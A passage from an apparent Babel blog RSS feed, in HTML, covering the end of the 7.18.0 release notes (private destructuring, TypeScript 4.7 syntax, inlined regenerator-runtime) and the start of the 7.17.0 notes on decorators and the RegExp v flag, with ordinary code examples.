style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  y </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">equals</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">obj</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token punctuation">{</span><span class="token plain"> y </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      x </span><span class="token operator">===</span><span class="token plain"> obj</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token plain"> </span><span class="token operator">&amp;&amp;</span><span class="token plain"> y </span><span class="token operator">===</span><span class="token plain"> obj</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div></td></tr></tbody></table>
<p>You can enable it by adding the <code>@babel/plugin-proposal-destructuring-private</code> plugin to your configuration.</p>
<p>To minimize the transpiling footprint, the code generated by this plugin will still expect non-private destructuring and private elements support. If you need to compile them further, you can enable the relevant plugins (or you can use <code>@babel/preset-env</code>).</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="typescript-47-support-14359-14457-14476">TypeScript 4.7 support (<a href="https://github.com/babel/babel/pull/14359" target="_blank" rel="noopener noreferrer" class="">#14359</a>, <a href="https://github.com/babel/babel/pull/14457" target="_blank" rel="noopener noreferrer" class="">#14457</a>, <a href="https://github.com/babel/babel/pull/14476" target="_blank" rel="noopener noreferrer" class="">#14476</a>)<a href="https://babeljs.io/blog/2022/05/19/7.18.0#typescript-47-support-14359-14457-14476" class="hash-link" aria-label="Direct link to typescript-47-support-14359-14457-14476" title="Direct link to typescript-47-support-14359-14457-14476" translate="no">​</a></h3>
<p>TypeScript 4.7 supports different new syntactic features:</p>
<ul>
<li class="">
<p>instantiation expressions, which allow specifying type arguments of functions without invoking them:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> identity </span><span class="token operator">=</span><span class="token plain"> </span><span class="token operator">&lt;</span><span class="token constant" style="color:#f5871f">T</span><span class="token operator">&gt;</span><span class="token punctuation">(</span><span class="token plain">val</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> val</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">const</span><span class="token plain"> stringIdentity </span><span class="token operator">=</span><span class="token plain"> identity</span><span class="token operator">&lt;</span><span class="token builtin" style="color:#f5871f">string</span><span class="token operator">&gt;</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// (val: string) =&gt; string;</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>explicit variance annotations for type arguments, to guide the TypeScript type checker when computing compatibility between different types:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Provider</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name" style="color:#eab700">out </span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Consumer</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name keyword" style="color:#8959a8">in</span><span class="token class-name" style="color:#eab700"> </span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">void</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Mapper</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name keyword" style="color:#8959a8">in</span><span class="token class-name" style="color:#eab700"> </span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name punctuation" style="color:#eab700">,</span><span class="token class-name" style="color:#eab700"> out </span><span class="token class-name constant" style="color:#f5871f">U</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">U</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Processor</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name keyword" style="color:#8959a8">in</span><span class="token class-name" style="color:#eab700"> out </span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">x</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">T</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>In this example, <code>Provide&lt;string&gt;</code> is a subtype of <code>Provider&lt;string | number&gt;</code> while <code>Consumer&lt;string | number&gt;</code> is a subtype of <code>Consumer&lt;string&gt;</code>.</p>
</li>
<li class="">
<p>constraints for the <code>infer</code> operator in conditional types:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">GetColor</span><span class="token class-name operator" style="color:#eab700">&lt;</span><span class="token class-name constant" style="color:#f5871f">T</span><span class="token class-name operator" style="color:#eab700">&gt;</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token constant" style="color:#f5871f">T</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">extends</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> color</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">infer</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">C</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">extends</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"red"</span><span class="token plain"> </span><span class="token operator">|</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"pink"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token operator">?</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">C</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"unknown color"</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
</li>
</ul>
<p>You can read the full TypeScript 4.7 release announcement <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-7/" target="_blank" rel="noopener noreferrer" class="">on their blog</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="inline-regenerator-runtime-helper-14538">Inline <code>regenerator-runtime</code> helper (<a href="https://github.com/babel/babel/pull/14538" target="_blank" rel="noopener noreferrer" class="">#14538</a>)<a href="https://babeljs.io/blog/2022/05/19/7.18.0#inline-regenerator-runtime-helper-14538" class="hash-link" aria-label="Direct link to inline-regenerator-runtime-helper-14538" title="Direct link to inline-regenerator-runtime-helper-14538" translate="no">​</a></h3>
<p>Starting from Babel 7.18.0, <code>regenerator-runtime</code> is automatically injected in the same way that Babel injects the other runtime helpers, without relying on an implicit <code>regeneratorRuntime</code> global. When not using <a href="https://babeljs.io/docs/en/babel-plugin-transform-runtime" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-transform-runtime</code></a>, Babel will automatically inline the <code>regeneratorRuntime</code> helper:</p>
<ul>
<li class="">you can stop manually loading <code>regenerator-runtime</code> (with <code>import</code>, <code>require</code> or <code>&lt;script&gt;</code>);</li>
<li class="">you can delete <code>"regenerator-runtime"</code> from your dependencies in <code>package.json</code>.</li>
</ul>
<p>For example this is the output difference between old and new Babel versions when compiling <code>var f = function*() {};</code>:</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token inserted-sign inserted prefix inserted" style="color:#718c00">+</span><span class="token inserted-sign inserted line" style="color:#718c00">function _regeneratorRuntime() { /* ... */ }</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token inserted-sign inserted line" style="color:#718c00"></span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token deleted-sign deleted prefix deleted" style="color:#c82829">-</span><span class="token deleted-sign deleted line" style="color:#c82829">var f = /*#__PURE__*/regeneratorRuntime.mark(function f() {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token deleted-sign deleted line" style="color:#c82829"></span><span class="token inserted-sign inserted prefix inserted" style="color:#718c00">+</span><span class="token inserted-sign inserted line" style="color:#718c00">var f = /*#__PURE__*/_regeneratorRuntime().mark(function f() {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token inserted-sign inserted line" style="color:#718c00"></span><span class="token deleted-sign deleted prefix deleted" style="color:#c82829">-</span><span class="token deleted-sign deleted line" style="color:#c82829">  return regeneratorRuntime.wrap(function f$(_context) {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token deleted-sign deleted line" style="color:#c82829"></span><span class="token inserted-sign inserted prefix inserted" style="color:#718c00">+</span><span class="token inserted-sign inserted line" style="color:#718c00">  return _regeneratorRuntime().wrap(function f$(_context) {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token inserted-sign inserted line" style="color:#718c00"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">    while (1) {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">      switch (_context.prev = _context.next) {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">        case 0:</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">        case "end":</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">          return _context.stop();</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">      }</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">    }</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">  }, f);</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">});</span><br></span></code></pre></div></div>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.17.0 Released: RegExp 'v' mode and ... 🥁 decorators!]]></title>
            <link>https://babeljs.io/blog/2022/02/02/7.17.0</link>
            <guid>https://babeljs.io/blog/2022/02/02/7.17.0</guid>
            <pubDate>Wed, 02 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[We just published Babel 7.17.0!]]></description>
            <content:encoded><![CDATA[<p>We just published Babel 7.17.0!</p>
<p>After years of <a href="https://babeljs.io/blog/2018/09/17/decorators" target="_blank" rel="noopener noreferrer" class="">iterations</a>, rewrites and adjustments it looks like the <a href="https://github.com/tc39/proposal-decorators" target="_blank" rel="noopener noreferrer" class="">decorators proposal</a> has finally stabilized again on a new design! This release includes both parse and transform support for the new proposal.</p>
<p>We also implemented the <a href="https://github.com/tc39/proposal-regexp-set-notation" target="_blank" rel="noopener noreferrer" class="">RegExp <code>v</code> flag proposal</a> and added parsing support for <a href="https://github.com/tc39/proposal-destructuring-private" target="_blank" rel="noopener noreferrer" class="">destructuring private fields</a>, both currently Stage 2. Lastly, a new experimental implementation of <code>@babel/register</code>.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.17.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://opencollective.com/babel#category-CONTRIBUTE" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> or <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">GitHub Sponsors</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2022/02/02/7.17.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="decorators-14004-13681">Decorators (<a href="https://github.com/babel/babel/pull/14004" target="_blank" rel="noopener noreferrer" class="">#14004</a>, <a href="https://github.com/babel/babel/pull/13681" target="_blank" rel="noopener noreferrer" class="">#13681</a>)<a href="https://babeljs.io/blog/2022/02/02/7.17.0#decorators-14004-13681" class="hash-link" aria-label="Direct link to decorators-14004-13681" title="Direct link to decorators-14004-13681" translate="no">​</a></h3>
<p>After receiving feedback from JavaScript developers, engine developers and language experts, <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer" class="">the decorators proposal</a> was rewritten to take into account multiple constraints and desires. We collaborated with the current proposal author, <a href="https://www.pzuraq.com/" target="_blank" rel="noopener noreferrer" class="">@pzuraq</a> to implement the new Stage 2 proposal in Babel.</p>
<p>The new implementation also supports decorating private class elements, as well as the new "class auto accessors" syntax:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">@</span><span class="token function" style="color:#4271ae">defineElement</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"button"</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Button</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  @reactive accessor enabled </span><span class="token operator">=</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// class auto accessors</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  @</span><span class="token function" style="color:#4271ae">event</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"onClick"</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">#handleClick</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// decorator on a private method</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"clicked!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>You can enable the new proposal by passing the <code>"version": "2021-12"</code> option to <a href="https://babeljs.io/docs/en/babel-plugin-proposal-decorators" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-proposal-decorators</code></a>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-decorators"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token property">"version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"2021-12"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>While the new decorators syntax is compatible with the previous proposal, the semantics are different: decorators already written for Babel <em>"legacy"</em>, Babel <em>older-but-not-legacy</em>, or TypeScript will not work with the new proposal.</p></div></div>
<p>If you want to help move the proposal forward, you can try using it and leave feedback in <a href="https://github.com/tc39/proposal-decorators/issues" target="_blank" rel="noopener noreferrer" class="">their GitHub repository</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="regexp-set-notation-and-properties-of-strings-14125">RegExp set notation and properties of strings (<a href="https://github.com/babel/babel/pull/14125" target="_blank" rel="noopener noreferrer" class="">#14125</a>)<a href="https://babeljs.io/blog/2022/02/02/7.17.0#regexp-set-notation-and-properties-of-strings-14125" class="hash-link" aria-label="Direct link to regexp-set-notation-and-properties-of-strings-14125" title="Direct link to regexp-set-notation-and-properties-of-strings-14125" translate="no">​</a></h3>
<p>Babel now supports the <a href="https://github.com/tc39/proposal-regexp-set-notation/" target="_blank" rel="noopener noreferrer" class="">RegExp set notation and properties of strings</a> proposal, which introduces three new regular expression features behind a new <code>v</code> flag:</p>
<ul>
<li class="">Extended set notation, which allows computing difference, intersection and union of characters or strings sets<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex char-class char-class-punctuation punctuation" style="color:#3e999f">[</span><span class="token regex regex-source language-regex char-class char-set class-name" style="color:#eab700">\p{Decimal_Number}</span><span class="token regex regex-source language-regex char-class" style="color:#3e999f">--[</span><span class="token regex regex-source language-regex char-class range" style="color:#3e999f">0</span><span class="token regex regex-source language-regex char-class range range-punctuation operator" style="color:#3e999f">-</span><span class="token regex regex-source language-regex char-class range" style="color:#3e999f">9</span><span class="token regex regex-source language-regex char-class char-class-punctuation punctuation" style="color:#3e999f">]</span><span class="token regex regex-source language-regex" style="color:#3e999f">]</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-flags" style="color:#3e999f">v</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Non-ASCII decimal digits</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token operator">/</span><span class="token punctuation">[</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token constant" style="color:#f5871f">ASCII</span><span class="token punctuation">}</span><span class="token operator">&amp;&amp;</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token maybe-class-name">Letter</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token operator">/</span><span class="token plain">v</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// ASCII letters</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token operator">/</span><span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token constant" style="color:#f5871f">ASCII</span><span class="token punctuation">}</span><span class="token operator">&amp;&amp;</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token maybe-class-name">Letter</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain">\p</span><span class="token punctuation">{</span><span class="token known-class-name class-name" style="color:#eab700">Number</span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token operator">/</span><span class="token plain">v</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// ASCII letters, or any digit</span><br></span></code></pre></div></div>
</li>
<li class="">Properties of strings, which allow using <code>\p</code> escapes with multi-codepoint properties<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token string" style="color:#718c00">"Did you see the 👩🏿‍❤️‍💋‍👩🏾 emoji?"</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">match</span><span class="token punctuation">(</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex char-set class-name" style="color:#eab700">\p{RGI_Emoji}</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-flags" style="color:#3e999f">v</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// ["👩🏿‍❤️‍💋‍👩🏾"]</span><br></span></code></pre></div></div>
</li>
<li class="">Multi-codepoint strings in sets, using a new <code>\q</code> escape<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-source language-regex char-class char-class-punctuation punctuation" style="color:#3e999f">[</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\r</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\n</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\q</span><span class="token regex regex-source language-regex char-class" style="color:#3e999f">{</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\r</span><span class="token regex regex-source language-regex char-class escape" style="color:#3e999f">\n</span><span class="token regex regex-source language-regex char-class" style="color:#3e999f">|NEWLINE}</span><span class="token regex regex-source language-regex char-class char-class-punctuation punctuation" style="color:#3e999f">]</span><span class="token regex regex-delimiter" style="color:#3e999f">/</span><span class="token regex regex-flags" style="color:#3e999f">v</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Matches \r, \n, \r\n or NEWLINE</span><br></span></code></pre></div></div>
</li>
</ul>
<p>You can enable this proposal using the <a href="https://babeljs.io/docs/en/babel-plugin-proposal-unicode-sets-regex" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-proposal-unicode-sets-regex</code></a> plugin:</p>
